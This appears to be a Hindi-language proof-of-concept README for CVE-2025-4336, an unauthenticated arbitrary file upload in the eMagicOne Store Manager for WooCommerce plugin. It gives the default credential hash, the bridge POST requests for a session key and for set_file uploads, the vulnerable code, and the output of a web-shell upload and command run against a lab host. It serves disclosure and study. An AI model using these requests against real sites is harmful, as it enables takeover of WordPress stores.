d0n601/cve-2025-4336eMagicOne Store Manager for WooCommerce <= 1.2.5 - बिना प्रमाणीकरण के set_file टास्क के माध्यम से मनमाना फ़ाइल अपलोड
eMagicOne Store Manager for WooCommerce प्लगइन एक रिमोट प्रबंधन प्रोटोकॉल एंडपॉइंट (?connector=bridge) उजागर करता है जो सर्वर पर फ़ाइलें अपलोड करने की अनुमति देता है। प्रमाणीकरण तंत्र डिफ़ॉल्ट क्रेडेंशियल जोड़ी (login=1, password=1) और एक सत्र कुंजी प्रणाली पर निर्भर करता है। यदि डिफ़ॉल्ट क्रेडेंशियल नहीं बदले जाते हैं, तो एक हमलावर आसानी से प्रमाणित हो सकता है, एक सत्र कुंजी प्राप्त कर सकता है, और WordPress रूट या किसी भी लिखने योग्य निर्देशिका में मनमानी फ़ाइलें (PHP शेल सहित) अपलोड कर सकता है।
shell.php नामक फ़ाइल निष्पादित करने, तथा रिमोट कोड निष्पादित करने को प्रदर्शित करता है:python3 exploit.py https://lab1.hacker
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"6f46bc8b67b1c8f0dc871bcec9e162c1d43f047e5c46aec7d7fdf48d8c17ed69"}
[+] Got session key: 6f46bc8b67b1c8f0dc871bcec9e162c1d43f047e5c46aec7d7fdf48d8c17ed69
[*] Uploading file...
[*] Upload response: {"response_code":20,"message":"File was successfully uploaded"}
[*] Executing Web Shell Commands...
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
valid_lft 23576sec preferred_lft 23576sec
inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86363sec preferred_lft 14363sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:ef:a9:95:6a brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
प्लगइन सक्रियण पर, smconnector.php में निम्नलिखित स्थिरांक सेट किए जाते हैं:
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
प्रमाणीकरण के लिए उपयोग किया जाने वाला डिफ़ॉल्ट हैश है:
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
परिणाम: डिफ़ॉल्ट हैश md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b है।
ब्रिज एंडपॉइंट पर हैश और एक टास्क (जैसे, get_version) के साथ POST अनुरोध भेजकर सत्र कुंजी प्राप्त की जाती है:
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
प्रासंगिक कोड:
classes/class-emosmconnectorcommon.php (lines ~441-525):
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... session key validation ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... error ...
}
$key = $this->generate_session_key( $hash );
// ... return session key ...
}
}
सत्र कुंजी wp_smconnector_session_keys तालिका में संग्रहीत की जाती है:
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
मान्य सत्र कुंजी के साथ, एक हमलावर set_file टास्क का उपयोग करके फ़ाइल अपलोड कर सकता है:
POST /?connector=bridge&task=set_file&key=<session_key>&entity_type=.&filename=hello.txt
Content-Type: multipart/form-data
[email protected];type=text/plain
प्रासंगिक कोड:
classes/class-emosmconnectorcommon.php (lines ~2250+):
private function set_file() {
// ... parameter checks ...
if ( ! $this->shop_cart->set_file( $entity_type, $filename, self::UPLOAD_FILE_NAME ) ) {
$this->generate_error( $this->br_errors['upload_file_error'] );
}
}
classes/class-emosmcwoocommerceoverrider.php (lines ~440+):
public function set_file( $folder, $filename, $file ) {
$destination_path = $this->get_shop_root_dir() . "$folder/$filename";
if ( isset( $_FILES[ $file ]['tmp_name'] ) ) {
$tmp_name = sanitize_text_field( $_FILES[ $file ]['tmp_name'] );
$result = move_uploaded_file( $tmp_name, $destination_path );
}
if ( $result ) {
die(json_encode(array(self::CODE_RESPONSE => self::SUCCESSFUL, self::KEY_MESSAGE => 'File was successfully uploaded')));
}
}
परिणाम: फ़ाइल WordPress रूट (या किसी भी निर्दिष्ट निर्देशिका) में लिखी जाती है।